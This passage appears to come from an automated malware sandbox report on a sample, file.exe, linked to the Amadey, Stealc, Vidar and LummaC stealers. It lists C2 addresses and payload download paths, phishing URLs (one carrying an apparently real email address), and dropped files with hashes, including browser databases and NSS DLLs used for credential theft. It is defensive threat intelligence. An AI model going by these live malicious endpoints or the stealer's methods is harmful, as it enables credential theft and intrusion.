	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.206
	http://sisteraboveaddition.com	Get hash	malicious	Unknown	Browse	142.250.185.174
	https://www.google.pl/url?url=http://msulrmrdjzsckgcdargfhi.com&nbq=tspwcyd&idbzok=wua&nbnak=ambmgo&lwf=vngmsem&q=amp/jdsra7r.ldn%C2%ADf%C2%ADpwlywydkjq%C2%ADuh%C2%ADf%C2%ADx%C2%AD.com/ufpd3kprb&xssr=zrcbvya&bhrswcv=abqvczic&clvu=wotwqzi&umasmoc=lhibfmio&tgek=sdcrupi&bpcjeel=qvmnlgnn&eign=czorcvw&txcfkja=lhtluzhk&zkmb=joyrkbk&mspp=frbfplx&ohrxtnn=emgsiphv&cbqf=eyyxrom&ngreupz=nzdjgaue&xtpz=fvqzpcq&spvwwuv=vijpphwi&wrjj=pklwpte&uuahvww=saaddjqz	Get hash	malicious	Unknown	Browse	142.250.184.238
	https://sites.google.com/view/we2k-/home	Get hash	malicious	Unknown	Browse	172.217.18.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.174
	https://recordatoriosycobroscpxmsa.com/?BSVUKWY9726@YIUVUGSE-928329/hok/WMEJGG0D776/WMEJGG0D/073/zyg/WMEJGG0D/073/zyg	Get hash	malicious	HTMLPhisher	Browse	142.250.185.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	216.58.206.46
	file.exe	Get hash	malicious	Unknown	Browse	172.217.16.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.18.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.184.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://account-service.fr/PSTPNL/postal1	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	E7X-XIZ5.eml	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	https://webconference.protected-forms.com/XaGFyNXNiVFNRd1VaOFBwaER2WW5KM1V1S1NLSzZZZDhjN3NKVC9oV2lCRlNRWmVpbVlYY0JzbS81VUd0czRzOHNRWWNGSndpSCtxMm15d3h6SnFIS0VpR2NHcHh2MWo5Nm1wM3lROHdlakpZdnVWYUpHZDJ2LzVyV1ljWjZuK2pHcTByTjRWRm1IRnpPSnVmUFI0TVk2dHN5L1Yxdko0Y01WeHZYck1iM2tvc3l4YVdqSlZabWl2Y0ZwLzQtLVZvU05jS1M1U0FEQjZZeHUtLUw3WXM4dkFWa2t2YTRLMXJEYTRIbGc9PQ==?cid=2270944670	Get hash	malicious	KnowBe4	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	New PO (#1437) New PO (#1437) New PO (#1437).exe	Get hash	malicious	FormBook	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	https://cx.surveysensum.com/d6xqqwvx	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	https://brandcommunity.rockwool.com/common/download.ashx/4cddd0fa-5d38-4860-9693-ceb4e820e195	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	http://track.reviewmgr.com/ls/click?upn=u001.W5y-2Fhe84rCuLxXDO470nfuKD2Iz98QeQpE-2BkxRR0H-2BqB5cDKklujIJ5FLru7QrAASOSa17vR-2FSCLVAx4lWyy5Q-3D-3DkaP7_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FBhxNJZyCBl9w6yXNV0YfiKUAGjaILaAN0mF43Ydvv3aAXjCPBMrYvHXhqj-2F90M8IWSluK-2FDr0h4-2FIbAXpExZIWOjtRSKBCrpvm-2BHKZd6Q2itOPvvv8Wh8uHJq1rbQgzA8HMkQB3GP7mtgLvWqf-2F2SUC5eKSSwLqPZnnofRHoc7cSU1xfupfl4il6cb3-2BSKrTYe1odI0Jq1F3XJEtoagDhZ-2B0poPJjuweCyekPO2Y39xfy8FdwLLvVUma4NgVhDhlM-3D	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50
	https://www.calameo.com/read/007809072a0c640fe1b94	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAEHDBAAECBFHJKFCFBFIDHIJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCBAFIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHDHIDGHIDGIECBKKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBFHIEBKJKFHIEBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJJEHCFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDBAAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKEBGHJKFIDGCAAFCAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\b617b009b1.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
